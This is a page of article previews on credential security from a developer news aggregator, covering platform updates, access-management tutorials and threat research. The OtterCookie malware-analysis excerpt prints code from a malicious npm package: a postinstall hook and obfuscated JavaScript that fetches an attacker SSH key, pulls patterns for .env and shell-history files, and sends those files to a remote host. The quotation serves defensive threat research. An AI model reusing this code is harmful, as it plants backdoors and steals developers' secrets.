# credentials Published articles for credentials. This is one page of public article previews, not the complete archive. Follow Next page to continue. Summaries are not the original full articles. ## Rate limits on GitLab.com are changing DevFeed: [Rate limits on GitLab.com are changing]() Original publisher: [Read original article]() Author: Sam Wiskow Published: 2026-09-17T00:00:00Z Content type: release Language: en Sources: [GitLab]() Topics: [GitLab](), [Automation](), [Users](), [account]() Tags: [2026](), [automation](), [credentials](), [gitlab](), [limits](), [platform](), [product](), [user](), [users]() ### AI overview GitLab.com will align rate limits with subscription tiers beginning October 19, 2026. Free accounts and unauthenticated requests change first, while Premium and Ultimate limits change in January 2027. Unauthenticated requests are limited to 60 requests per hour per IP address, with preview windows scheduled for October 7 and 14. ### Source excerpt GitLab.com hosts millions of projects for teams of every size that need a platform they can rely on. Demand is climbing quickly, and we expect platform load to grow several times over this year. Predictable limits are what keep GitLab.com fast for everyone on it, including the automation and agent workloads teams are building on the platform. To hold that as we scale, we're updating how rate limits work. Starting October 19, 2026, rate limits on GitLab.com will align with your subscription tier. Free accounts and unauthenticated requests happen first, on October 19. Premium and Ultimate move in January 2027. What is changing Limits align with your subscription. Free, Premium, and Ultimate subscription plans get their own limits, applied per user and per top-level group. Free takes effect October 19; Premium and Ultimate in January 2027. Signing in gets you the full limit. An authenticated request is governed by your subscription plan below. A request that arrives with no credentials gets 60 requests per hour per IP address. The per-plan limits are published in the rate limits documentation. What happens on October 19 There will be two preview windows for Free and unauthenticated traffic, on October 7 and October 14 from 15:00 to 19:00 UTC. Signed-in Premium and Ultimate requests are not affected, since those limits do not change until January. Unauthenticated requests are capped no matter where they come from, including automation running against a paid account without credentials. A preview window (engineers call these brownouts) is a short, planned window where we switch the new limits on and then switch them back off. Nothing else about the service changes while it runs. The point is to give you a real look at how your own workloads behave under the new limits, weeks before they apply for good. On October 19 the new limits take effect. We set these limits by looking at how GitLab.com is actually used. Almost all users are already inside the new limits and won't n ## KYC Onboarding: From Signup to Accepting Payments DevFeed: [KYC Onboarding: From Signup to Accepting Payments]() Original publisher: [Read original article]() Author: Deepak Jangir Published: 2026-09-17T00:00:00Z Content type: tutorial Language: en Sources: [Dodo Payments Blog]() Topics: [Requirements](), [Security, Privacy and Abuse Prevention](), [account](), [Website]() Tags: [account](), [business](), [credentials](), [guide](), [onboarding](), [payments](), [saas](), [verification](), [website]() ### AI overview This guide explains KYC onboarding for online sellers, including the identity, eligibility, ownership, bank account, and website checks payment providers may perform before enabling payments and payouts. It outlines the onboarding sequence, common causes of delays, and differences between freelancers and companies. ### Source excerpt What KYC onboarding involves when you sign up to sell online: the stages, the documents, why applications stall, and how it differs for freelancers and companies. ## Atomic macOS (AMOS) Stealer Activity DevFeed: [Atomic macOS (AMOS) Stealer Activity]() Original publisher: [Read original article]() Author: Bradley Duncan Published: 2026-09-16T10:00:06Z Content type: article Language: en Sources: [Unit 42]() Topics: [Malware](), [Aeternum](), [macOS](), [sensitive data](), [Zsh](), [ClickFix](), [cURL]() Tags: [ads](), [clickfix](), [credentials](), [cryptocurrency](), [curl](), [general](), [insights](), [macos](), [malware](), [sensitive-data](), [threat-intelligence](), [unit-42](), [zsh]() ### AI overview This article analyzes a laboratory-generated Atomic macOS (AMOS) stealer infection observed on Aug. 5, 2026. It describes a deceptive macOS toolkit installation page that led users to paste a command into Terminal, retrieving a Zsh script containing an encoded compressed payload and a follow-up script designed to run a Mach-O binary. AMOS targets macOS and can exfiltrate system information, login credentials, and sensitive data from applications including browsers and cryptocurrency wallets. ### Source excerpt Modern macOS malware uses deceptive setup guides to steal credentials and sensitive user data. Learn how to identify and block these threats. The post Atomic macOS (AMOS) Stealer Activity appeared first on Unit 42. ## Keeping credentials out of an AI agent's context with Relay DevFeed: [Keeping credentials out of an AI agent's context with Relay]() Original publisher: [Read original article]() Author: WorkOS Published: 2026-08-31T00:00:00Z Content type: article Language: en Sources: [WorkOS Blog]() Topics: [AI Agent](), [prompt injection](), [API](), [context](), [OAuth]() Tags: [agent](), [ai-agent](), [api](), [context](), [credentials](), [prompt-injection](), [third-party]() ### AI overview The article explains how WorkOS Relay keeps third-party API credentials out of an AI agent's context. Relay proxies outbound calls and injects credentials at the boundary, reducing the opportunity for prompt injection to steal or exfiltrate bearer tokens. The document says Relay shipped on August 6, 2026 and is in early access. ### Source excerpt Relay proxies an agent's third-party API calls and injects the credential at the boundary, so prompt injection has no token to steal and nowhere to send it. ## How Mobile App Security from Guardsquare Addresses Gaps in Framework Compliance DevFeed: [How Mobile App Security from Guardsquare Addresses Gaps in Framework Compliance]() Original publisher: [Read original article]() Author: Guest post by Dr. Edward Amoroso, CEO, TAG Infosphere Inc. and former AT&T Chief Security Officer Published: 2026-08-11T14:00:31Z Content type: opinion Language: en Sources: [Guardsquare Blog]() Topics: [Mobile Security](), [Application Security](), [Security](), [Cybersecurity](), [Artificial Intelligence]() Tags: [application-security](), [compliance](), [credentials](), [cybersecurity](), [frameworks](), [governance](), [hardening](), [mobile](), [protection](), [regulatory](), [report](), [security](), [standards]() ### AI overview A featured guest post examines how mobile application security, including Guardsquare's hardening, runtime protection, and anti-tampering capabilities, can help enterprises address gaps in compliance frameworks. It also argues that frameworks such as NIST CSF 2.0 should more explicitly account for mobile app risk. ### Source excerpt Former AT&T Chief Security Officer and TAG Infosphere founder Dr. Edward Amoroso shares his perspective on the state of mobile application security in a featured guest post for Guardsquare. Enterprise compliance is evolving as organizations face mounting regulatory pressure and more capable threat actors. Regulators now expect alignment to frameworks such as National Institute of Standards and Technology Cybersecurity Framework (CSF) 2.0 and sector-specific mandates. Yet, while governance has matured around cloud, endpoint, and networks, mobile app risk remains underrepresented in compliance frameworks and control processes. ## Containing Locally Running AI Agents with Layered Security Controls DevFeed: [Containing Locally Running AI Agents with Layered Security Controls]() Original publisher: [Read original article]() Author: Spencer Reeves Published: 2026-08-10T18:00:00Z Content type: tutorial Language: en Sources: [Apartment 304]() Topics: [Artificial Intelligence](), [Security](), [Containers](), [virtualization](), [macOS](), [npm]() Tags: [agent](), [ai-agents](), [apartment-304](), [apple](), [credentials](), [custom-software-solutions](), [devops](), [devops-engineer](), [macos](), [networking](), [npm](), [open-source](), [sandboxing](), [security](), [software-architecture](), [software-development](), [software-engineer]() ### AI overview This article presents a layered security approach for running AI agents locally. It focuses on sandboxing the agent, restricting internet access, and protecting secrets and environment files, with container isolation as the foundation. ### Source excerpt Running an agent locally gives it a foothold on your machine -- here's how we keep it contained. ## Securing kubectl on Remote Kubernetes Clusters Without Static Credentials or VPNs DevFeed: [Securing kubectl on Remote Kubernetes Clusters Without Static Credentials or VPNs]() Original publisher: [Read original article]() Author: info@goteleport.com (Steven Martin) Published: 2026-07-17T00:00:00Z Content type: tutorial Language: en Sources: [Teleport]() Topics: [Kubernetes](), [Kubernetes clusters](), [k3s](), [Network](), [Networks]() Tags: [best-practices](), [clusters](), [credentials](), [firewalls](), [how-to](), [infrastructure](), [k3s](), [kubectl](), [kubernetes](), [kubernetes-clusters](), [network](), [networks](), [remote]() ### AI overview A guide to securing kubectl access to remote Kubernetes clusters running on distributed edge devices. It explains how NAT, firewalls, kubeconfig sprawl, and static credentials create access and security risks, and discusses avoiding publicly exposed API servers and VPN-related operational challenges. ### Source excerpt Learn how to secure Kubernetes access across remote fleets without creating risk. ## How Razorpay runs network-isolated Hermes AI agents for employees DevFeed: [How Razorpay runs network-isolated Hermes AI agents for employees]() Original publisher: [Read original article]() Author: ashwath kumar Published: 2026-07-12T14:22:53Z Content type: article Language: en Sources: [Razorpay Engineering - Medium]() Topics: [AI Agent](), [Kubernetes](), [Open Source](), [Cloud](), [data](), [Embeddings](), [Graphs]() Tags: [ai](), [ai-agent](), [architecture](), [autonomous](), [cloud](), [credentials](), [embeddings](), [github](), [google](), [graph](), [kubernetes](), [network](), [open-source](), [slack]() ### AI overview Razorpay describes its platform for running Hermes, an open-source AI agent, for employees. Each agent runs in an isolated Kubernetes namespace with encrypted storage, a separate cloud identity, and its own network policy. The article explains how the platform supports persistent autonomous sessions while limiting access to other employees' data and the public internet. ### Source excerpt How we run a personal AI agent for everyone at Razorpay: always on, multi-model, and safe by construction. Contributors: Siddharth Tripathi Today, more than 220 Razorpay employees each have their own always-on AI agent. On a typical day, about 84 of them are actively working. Every one runs in its own isolated Kubernetes namespace, with its own encrypted storage, its own cloud identity, and its own network policy. It learns new skills as its owner works, and it keeps running long after they close their laptop: one employee's agent has already logged more than 15,000 sessions, 90% of them while its owner was asleep or away. Provisioning a new one takes under two minutes. Running the agents was never the hard part. Running them safely was: 220 of them, each with shell access and live credentials, without any single agent becoming a path into another employee's data or out to the open internet. The answer came down to one design choice, and everything in this post is a consequence of it: Isolation is a property of the infrastructure, not the application. Hermes itself is an open-source agent by Nous Research; what we built is the platform that runs it safely & isolated, for the whole company. Proof It's Real: One Instance, Eight Weeks In Before any of the architecture, here's the proof that people actually use this. The following is one real instance from our cluster, over its first eight weeks (numbers pulled live, the person anonymised). In eight weeks, this one user's Hermes ran 15,039 sessions. Only 391 of those were the person sitting down to chat with it; the other 13,570 were autonomous runs the agent kicked off on its own schedule while its owner was asleep or in meetings. That ratio is the whole idea in one statistic: the assistant does most of its work when you're not there. What is it doing in those runs? They'd wired up 21 always-on scheduled jobs that turn Hermes into a personal intelligence service: Ingest. Every hour it pulls from 23 Slack channels (plus ## Mobile App Security in the Age of SoftPOS | Guardsquare DevFeed: [Mobile App Security in the Age of SoftPOS | Guardsquare]() Original publisher: [Read original article]() Author: Guardsquare Published: 2026-07-07T11:42:02Z Content type: article Language: en Sources: [Guardsquare Blog]() Topics: [Mobile](), [Mobile Security](), [Security](), [App](), [API](), [Exploit](), [SDKs](), [Malware]() Tags: [android](), [api](), [compliance](), [credentials](), [devices](), [exploit](), [financial-services](), [integrity](), [ios](), [malware](), [mobile](), [payment](), [payments](), [pos](), [protection](), [sdks](), [security](), [smartphone](), [thought-leadership]() ### AI overview This article examines the security implications of SoftPOS, which turns smartphones into card-present payment terminals. It explains that moving payment functions to mobile devices shifts responsibility to the device, operating system, application integrity, APIs, and runtime environment, and discusses threats including app tampering, reverse engineering, API abuse, credential theft, malware, and bypassed environment checks. ### Source excerpt As retailers look for faster, more flexible ways to accept payments, SoftPOS is becoming a cornerstone of modern payment strategies. It's expected that by 2027, more than 34.5 million merchants will accept payments through SoftPOS technology. The ability to turn any smartphone into a card-present terminal reduces hardware costs, simplifies onboarding, and supports new use cases like curbside, pop-up stores, and in-aisle checkout. ## Securing Heroku CLI Credentials with System Keychain Storage DevFeed: [Securing Heroku CLI Credentials with System Keychain Storage]() Original publisher: [Read original article]() Author: Katy Bowman Published: 2026-07-01T21:11:54Z Content type: release Language: en Sources: [Heroku]() Topics: [Heroku](), [Authentication](), [Command-line interface](), [Security](), [sensitive data]() Tags: [authentication](), [cli](), [compatibility](), [credentials](), [engineering](), [heroku](), [linux](), [macos](), [security](), [sensitive-data](), [storage](), [windows]() ### AI overview Heroku CLI version 11.8.0 makes system keychain storage the default for authentication credentials. The credential manager uses native secure storage on macOS, Linux, and Windows while preserving netrc compatibility and file-based fallback options. ### Source excerpt Beginning in version 11.8.0, we will be improving the security of the Heroku CLI by storing authentication credentials in your system keychain by default. The Heroku credential manager makes use of OS-native secure storage tools with interfaces designed for sensitive data while maintaining compatibility with existing developer workflows. We began the transition to our new [...] The post Securing Heroku CLI Credentials with System Keychain Storage appeared first on Heroku. ## Automating Identity and Access for FedRAMP 20x KSIs with Teleport DevFeed: [Automating Identity and Access for FedRAMP 20x KSIs with Teleport]() Original publisher: [Read original article]() Author: info@goteleport.com (Nicolas Morris) Published: 2026-06-17T00:00:00Z Content type: tutorial Language: en Sources: [Teleport]() Topics: [audit trail](), [identity and access management](), [Logging](), [Monitoring](), [Security](), [CI/CD](), [Cloud]() Tags: [audit-trail](), [ci-cd](), [credentials](), [fedramp](), [fedramp-20x](), [hardcoded-credentials](), [identity-and-access-management](), [logging](), [monitoring](), [security]() ### AI overview This article explains how FedRAMP 20x changes identity and access compliance toward persistent validation using machine-readable evidence. It describes how unified identity management and audit trails can help address gaps in machine-to-machine authentication and continuous KSI validation. ### Source excerpt Learn how to automate identity and access for FedRAMP 20x KSIs with a unified audit trail for identities, access, and persistent evidence. ## Something New Has to Sit Between Agents and Databases DevFeed: [Something New Has to Sit Between Agents and Databases]() Original publisher: [Read original article]() Author: flashdba Published: 2026-06-15T12:46:59Z Content type: opinion Language: en Sources: [flashdba]() Topics: [Architecture & Design](), [Enterprise Architecture](), [Artificial Intelligence](), [Databases]() Tags: [agentic](), [agentic-ai](), [ai](), [architecture](), [cloud](), [credentials](), [databases](), [databases-and-agentic-ai](), [enterprise-architecture](), [inferencing](), [performance]() ### AI overview This article argues that agentic AI removes human dependencies that enterprise architectures and systems of record have implicitly relied on. It proposes a deliberate intermediary layer between agents and databases to provide identity, intent recovery, rate control, behavioural reasoning, and accountability requirements that existing infrastructure does not address. ### Source excerpt Enterprise architecture depended on humans in ways nobody designed - and agentic AI is removing those dependencies. Something new has to sit between agents and databases, and it needs to be built deliberately. ## From 750 Hours to 2 Hours: AI-Powered Security Triage at Razorpay DevFeed: [From 750 Hours to 2 Hours: AI-Powered Security Triage at Razorpay]() Original publisher: [Read original article]() Author: Prathamesh Joshi Published: 2026-06-09T14:56:35Z Content type: article Language: en Sources: [Razorpay Engineering - Medium]() Topics: [Security](), [Artificial Intelligence](), [Vulnerabilities](), [Architecture & Design](), [Code](), [API](), [GitHub](), [Sanitization](), [API keys]() Tags: [ai](), [api](), [architecture](), [code](), [credentials](), [github](), [hardcoded-credentials](), [sast](), [security](), [vulnerabilities]() ### AI overview Razorpay describes an AI-powered security triage system built to reduce the manual workload caused by large volumes of SAST, dependency, and secret-detection alerts. Its first live layer retrieves issue context, source code, data flows, and sanitization logic to distinguish genuine vulnerabilities from false positives, with reported accuracy of 75-80%. ### Source excerpt Co-authors: Mahlaqahaque Mh, Keertiv, Hari Prasad Pujari How we taught AI to read code like a senior security engineer Every day, Razorpay engineers ship thousands of lines of code. Every line births new security findings. SAST scanners flag suspicious patterns. Dependency checkers find vulnerable libraries. Secret detection tools catch hardcoded credentials. The alerts pile up. Hundreds become thousands. The backlog becomes noise. We hit a breaking point. Developers faced security ticket counts climbing into the thousands, with most of them turning out to be false positives. The classic "alert that cried wolf" scenario played out daily. When everything is marked critical, nothing is. Developers stopped trusting security findings altogether. Security engineers weren't having a better time. Validating issues manually while fielding constant ad-hoc requests from frustrated developers. Trying to stop a waterfall with a teaspoon. The human bottleneck became the limiting factor in our security posture. The core problem was simple. Traditional static analysis tools excel at finding patterns that might be vulnerabilities. They lack context. They can't distinguish between a properly sanitized SQL query and a vulnerable one. Between a test API key and a production secret. Between a dangerous data flow and one protected by business logic. For every 10 alerts, 7-8 were false positives. Manual triage became the bottleneck. Security couldn't scale with engineering velocity. That's when we built what we call the Autonomous Security Special Ops system. An AI-powered engine that handles the heavy lifting so humans can focus on what actually matters. The Three-layer Intelligence System Rather than throwing more human hours at the problem, we built an AI architecture operating in three layers. L1: Context-Aware AI Triage (Live). Our intelligent first responder. Powered by 29 specialized sub-skills , it reads code context like a senior security engineer. When a SAST finding lands, L1 ## SOC 2 Controls for Non-Human Identities: CC6, CC7, and CC8 DevFeed: [SOC 2 Controls for Non-Human Identities: CC6, CC7, and CC8]() Original publisher: [Read original article]() Author: info@goteleport.com (Kayne McGladrey) Published: 2026-06-09T00:00:00Z Content type: tutorial Language: en Sources: [Teleport]() Topics: [soc 2](), [audit](), [Authorization](), [sigstore]() Tags: [audit](), [authorization](), [certificates](), [credentials](), [soc-2]() ### AI overview This article explains how Teleport maps workload attestation, short-lived certificates, access rules, and audit logs for non-human identities to SOC 2 controls CC6, CC7, and CC8. It describes evidence auditors can use, including access rules, denied credential issuance logs, and Sigstore policy configurations where enabled. ### Source excerpt Discover how to meet SOC 2 CC6, CC7, and CC8 controls for non-human identities. ## How to Eliminate Shared Database Passwords: MySQL, PostgreSQL, and More DevFeed: [How to Eliminate Shared Database Passwords: MySQL, PostgreSQL, and More]() Original publisher: [Read original article]() Author: info@goteleport.com (Dan Johns) Published: 2026-06-05T00:00:00Z Content type: tutorial Language: en Sources: [Teleport]() Topics: [Databases](), [MySQL](), [PostgreSQL](), [certificates](), [passwords](), [Single sign-on (SSO)](), [audit](), [Authorization]() Tags: [apply](), [audit](), [certificates](), [credentials](), [cryptographic](), [database](), [how-to](), [mysql](), [passwords](), [permissions](), [policy](), [postgresql](), [sso]() ### AI overview A guide to replacing shared database passwords and standing privileges with short-lived certificates and identity-based access. It explains how Teleport supports MySQL, PostgreSQL, and other databases, including role-based permissions, hardware-key approval for writes, and query-level attribution in audit logs. ### Source excerpt Learn how to access MySQL, PostgreSQL, and other databases using short-lived certificates instead of shared passwords. ## How to Eliminate Static Credentials from Trading Infrastructure DevFeed: [How to Eliminate Static Credentials from Trading Infrastructure]() Original publisher: [Read original article]() Author: info@goteleport.com (Gus Luxton) Published: 2026-05-20T00:00:00Z Content type: tutorial Language: en Sources: [Teleport]() Topics: [Security](), [ssh](), [private cloud](), [Server]() Tags: [admin](), [ci](), [credentials](), [deploy](), [how-to](), [infrastructure](), [private-cloud](), [production](), [root](), [security](), [ssh]() ### AI overview This guide explains why static credentials such as SSH keys and hardcoded API tokens create security risks in trading infrastructure. It discusses excessive permissions, credentials that do not expire, and access events that cannot be tied to specific identities, then introduces strategies for reducing or eliminating these risks, including Teleport-based approaches. ### Source excerpt Learn why static credentials like SSH keys are dangerous in trading and financial infrastructure, alongside strategies for mitigating their risk. ## Using Authentication Credentials within NetBox Webhooks DevFeed: [Using Authentication Credentials within NetBox Webhooks]() Original publisher: [Read original article]() Author: Rick Donato Published: 2026-05-19T10:30:32Z Content type: tutorial Language: en Sources: [Packet Coders - Learn Network Automation]() Topics: [NetBox](), [Authentication](), [Environment Variables](), [configuration]() Tags: [authentication](), [blog](), [ci-cd](), [configuration](), [credentials](), [docker](), [environment-variables](), [kubernetes](), [netbox](), [webhooks]() ### AI overview This tutorial explains how to provide authentication credentials in NetBox webhooks without hardcoding secrets in webhook configuration. It presents a custom Jinja2 filter that exposes selected environment variables to webhook headers or bodies, with examples for self-hosted and container-based NetBox deployments. ### Source excerpt Background A question that came up during a recent NetBox training session was: "How should authentication credentials be provided within NetBox webhooks?" For example, you may need to send a webhook from NetBox to an external system such as: CI/CD platforms internal APIs configuration management systems notification ## How to Secure Third-Party Remote Access to Data Centers (Without SSH Keys) DevFeed: [How to Secure Third-Party Remote Access to Data Centers (Without SSH Keys)]() Original publisher: [Read original article]() Author: info@goteleport.com (Mayur Pipaliya) Published: 2026-05-07T00:00:00Z Content type: article Language: en Sources: [Teleport]() Topics: [remote access](), [datacenter](), [Critical Infrastructure](), [ssh](), [Cloud]() Tags: [api-keys](), [audit](), [credentials](), [critical-infrastructure](), [data-centers](), [incident](), [infrastructure](), [passwords](), [remote](), [remote-access](), [ssh](), [vpn]() ### AI overview This article explains the security risks of third-party remote access to data center infrastructure, including shared SSH keys, VPN credentials, screen-sharing sessions, and other static credentials. It describes credential sprawl, identity fragmentation, persistent access, and limited auditability, and outlines identity-based approaches to securing this access. ### Source excerpt Explore the key challenges of third-party access to data center infrastructure and how to secure remote access without static credentials or identity blind spots. ## How Agentic AI Creates Gaps in Audit-Trail Accountability DevFeed: [How Agentic AI Creates Gaps in Audit-Trail Accountability]() Original publisher: [Read original article]() Author: flashdba Published: 2026-04-27T13:43:04Z Content type: opinion Language: en Sources: [flashdba]() Topics: [AI Agent](), [audit trail](), [audit]() Tags: [account](), [agentic](), [agentic-ai](), [ai](), [ai-agent](), [audit](), [audit-trail](), [changes](), [cloud](), [commit](), [compliance](), [credentials](), [databases](), [databases-and-agentic-ai](), [identity](), [inferencing](), [model](), [performance](), [regulatory](), [service]() ### AI overview The article argues that conventional audit trails can record database changes accurately while failing to explain an AI agent's reasoning or establish accountable human ownership. It identifies unstable agent identity and the absence of externally documented reasoning as the central gaps. ### Source excerpt The audit trail still runs. Every commit is recorded. But agentic AI has broken the two assumptions it was built on - and the incompleteness is invisible until you need it. ## Sandboxed AI bots: give capabilities, not credentials DevFeed: [Sandboxed AI bots: give capabilities, not credentials]() Original publisher: [Read original article]() Author: Alex Petric Published: 2026-04-23T00:00:00Z Content type: tutorial Language: en Sources: [Windmill Blog]() Topics: [Security](), [Discord](), [Discord bot](), [stripe](), [implementation](), [WebSocket](), [HashiCorp Vault]() Tags: [agent](), [ai](), [ai-bots](), [ai-discord-websocket-triggers](), [api-keys](), [credentials](), [discord](), [secret-storage](), [secrets](), [security](), [ssh](), [stripe](), [websocket](), [websocket-triggers]() ### AI overview This tutorial shows how to build a Discord bot that answers billing questions through Stripe while keeping API keys hidden from an AI agent. Windmill tools retrieve credentials at runtime from encrypted resource storage, and the agent receives only tool capabilities. The sandbox also provides process, filesystem, CPU, memory, and optional network isolation. ### Source excerpt How do I build an AI Discord bot that accesses Stripe without leaking API keys? Use Windmill sandboxed tools to give the AI capabilities, not credentials. ## Anonymous credentials: an illustrated primer (Part 2) DevFeed: [Anonymous credentials: an illustrated primer (Part 2)]() Original publisher: [Read original article]() Author: Matthew Green Published: 2026-04-17T17:19:15Z Content type: tutorial Language: en Sources: [Matthew Green]() Topics: [Cryptography](), [Security, Privacy and Abuse Prevention]() Tags: [ai](), [anonymous-credentials](), [artificial-intelligence](), [attacks](), [credentials](), [cybersecurity](), [privacy](), [resources](), [security](), [state](), [technology]() ### AI overview Part two of an illustrated primer on anonymous credentials moves from the theoretical overview in part one toward practical discussion of real-world credential systems. It explains privacy-preserving authentication, credential showing without linkability, limits on credential reuse, cloning attacks, and expressive claims. ### Source excerpt This is the second in a series of posts about anonymous credentials. You can find the first part here. In the previous post, we introduced the notion of anonymous credentials as a technique that allows users to authenticate to a website without sacrificing their privacy. As a quick reminder, an anonymous credential system consists of ... Continue reading Anonymous credentials: an illustrated primer (Part 2) -> ## Mapping Ottercookie Infrastructure DevFeed: [Mapping Ottercookie Infrastructure]() Original publisher: [Read original article]() Author: Jason Reaves Published: 2026-04-06T17:33:39Z Content type: article Language: en Sources: [Walmart Global Tech]() Topics: [Threat Research](), [Malware](), [JavaScript](), [npm](), [ssh](), [Feathers]() Tags: [backdoor](), [credentials](), [infosec](), [javascript](), [malware](), [malware-analysis](), [npm](), [reverse-engineering](), [ssh]() ### AI overview Jason Reaves analyzes infrastructure associated with OtterCookie and related DPRK-linked malware activity. The article examines a NodeJS package whose decoded code downloads an SSH key, retrieves scan patterns targeting files such as .env and shell history, and sends collected files to remote infrastructure. It then uses port mappings and banner hashes to map additional infrastructure. ### Source excerpt By: Jason Reaves A lot of focus specifically surrounding DPRK has been on IT workers but there are multiple entities performing various schemes. One of the more prolific ones being interviewing developers and having them work on TA supplied code repositories from various sites. The malware delivered is normally leveraged for harvesting credentials and crypto; InvisibleFerret[5], BeaverTail, OtterCookie and Golang based malware[4]. Alot of work goes into tracking and cataloging the various malware families and their code overlaps, not many people focus on the infrastructure side though which is surprising because it's pretty similar to malware analysis; just more pattern matching. While tracking some other malware I ended up pivoting into NodeJS based stealer and backdoor code that resembled similar tactics to DPRK campaigns. 3a08e7f236aac7f6eb6f75911b98bc5157dcfa53b268b447f7d1b87b0615b90d "name": "npm-doc-builder", "version": "1.0.5", "description": "", "main": "index.js", "scripts": { "postinstall": "node test.js" }, "publishConfig": { "access": "public" }, "dependencies": { "axios": "^1.7.0", "child_process": "^1.0.2", "os": "^0.1.2" }, "engines": { "node": ">=18" }, "keywords": [], "author": "", "license": "ISC", "type": "commonjs" The decoded index javascript from this package ends up doing a few things, first it will want to download a SSH key to be added locally: const _0x30c718 = await fetch("https://cloudflareinsights[.]vercel[.]app/"); const { msg: _0x50cbce } = await _0x30c718.json(); let _0x581499 = false; if (process.platform === "linux") { _0x581499 = addSshKeyToUser(_0x50cbce); It will also download patterns for scanning const _0x3c4caa = await fetch("https://cloudflareinsights[.]vercel[.]app/api/scan-patterns"); const { scanPatterns: _0x28ca54 } = await _0x3c4caa.json(); In this case it returned: {"scanPatterns":[".env",".bash_history","ConsoleHost_history.txt"]} Ultimately wanting to send off the files: for (let _0x14ded9 = 0x0; _0x14ded9 < _0x57def7 ## How Just-in-Time Access Reduces Engineering Access Bottlenecks and Shared-Credential Risk DevFeed: [How Just-in-Time Access Reduces Engineering Access Bottlenecks and Shared-Credential Risk]() Original publisher: [Read original article]() Author: jack@goteleport.com (Jack Pitts) Published: 2026-01-14T00:00:00Z Content type: article Language: en Sources: [Teleport]() Topics: [JIT](), [Security](), [Authorization]() Tags: [audit](), [credentials](), [how-to](), [legacy](), [permissions](), [productivity](), [security](), [vpn]() ### AI overview This article explains how just-in-time (JIT) access can reduce engineering access delays and the risks associated with shared credentials. It describes the effects of ticket-based workflows, VPN or jump-host requirements, broad permissions, unclear attribution, and manual platform-team work. ### Source excerpt Learn how to eliminate access bottlenecks (and shared credential risk) from day-to-day engineering work with just-in-time (JIT) access. ## Unpacking VStarcam Firmware Updates and Examining Their Security Issues DevFeed: [Unpacking VStarcam Firmware Updates and Examining Their Security Issues]() Original publisher: [Read original article]() Author: Wladimir Palant Published: 2025-12-15T14:19:22Z Content type: tutorial Language: en Sources: [Almost Secure]() Topics: [Security](), [Embedded Software Dev](), [Vulnerabilities](), [Compression](), [Zip](), [Python]() Tags: [compression](), [credentials](), [devices](), [firmware](), [hardcoded-credentials](), [python](), [security](), [zip]() ### AI overview This technical article examines VStarcam camera firmware in the context of documented security issues and the lack of clear information about firmware versions, updates, and fixes. It documents multiple firmware branches and update formats, including incremental updates packed as sequences of ZIP files, and describes Python-based methods for unpacking them. ### Source excerpt One important player in the PPPP protocol business is VStarcam. At the very least they've already accumulated an impressive portfolio of security issues. Like exposing system configuration including access password unprotected in the Web UI (discovered by multiple people independently from the look of it). Or the open telnet port accepting hardcoded credentials (definitely discovered by lots of people independently). In fact, these cameras have been seen used as part of a botnet, likely thanks to some documented vulnerabilities in their user interface. Is that a thing of the past? Are there updates fixing these issues? Which devices can be updated? These questions are surprisingly hard to answer. I found zero information on VStarcam firmware versions, available updates or security fixes. In fact, it doesn't look like they ever even acknowledged learning about the existence of these vulnerabilities. No way around downloading these firmware updates and having a look for myself. With surprising results. First of all: there are lots of firmware updates. It seems that VStarcam accumulated a huge number of firmware branches. And even though not all of them even have an active or downloadable update, the number of currently available updates goes into hundreds. And the other aspect: the variety of update formats is staggering, and often enough standard tools like binwalk aren't too useful. It took some time figuring out how to unpack some of the more obscure variants, so I'm documenting it all here. Warning: Lots of quick-and-dirty Python code ahead. Minimal error checking, use at your own risk! Contents ZIP-packed incremental updates VStarcam pack system VeePai updates Ingenic updates LZO-compressed partitions Ingenic's jzlzma compression Exotic Ingenic update But what about these security issues? ZIP-packed incremental updates These incremental updates don't contain an image of the entire system, only the files that need updating. They always contain the main application [Next page]()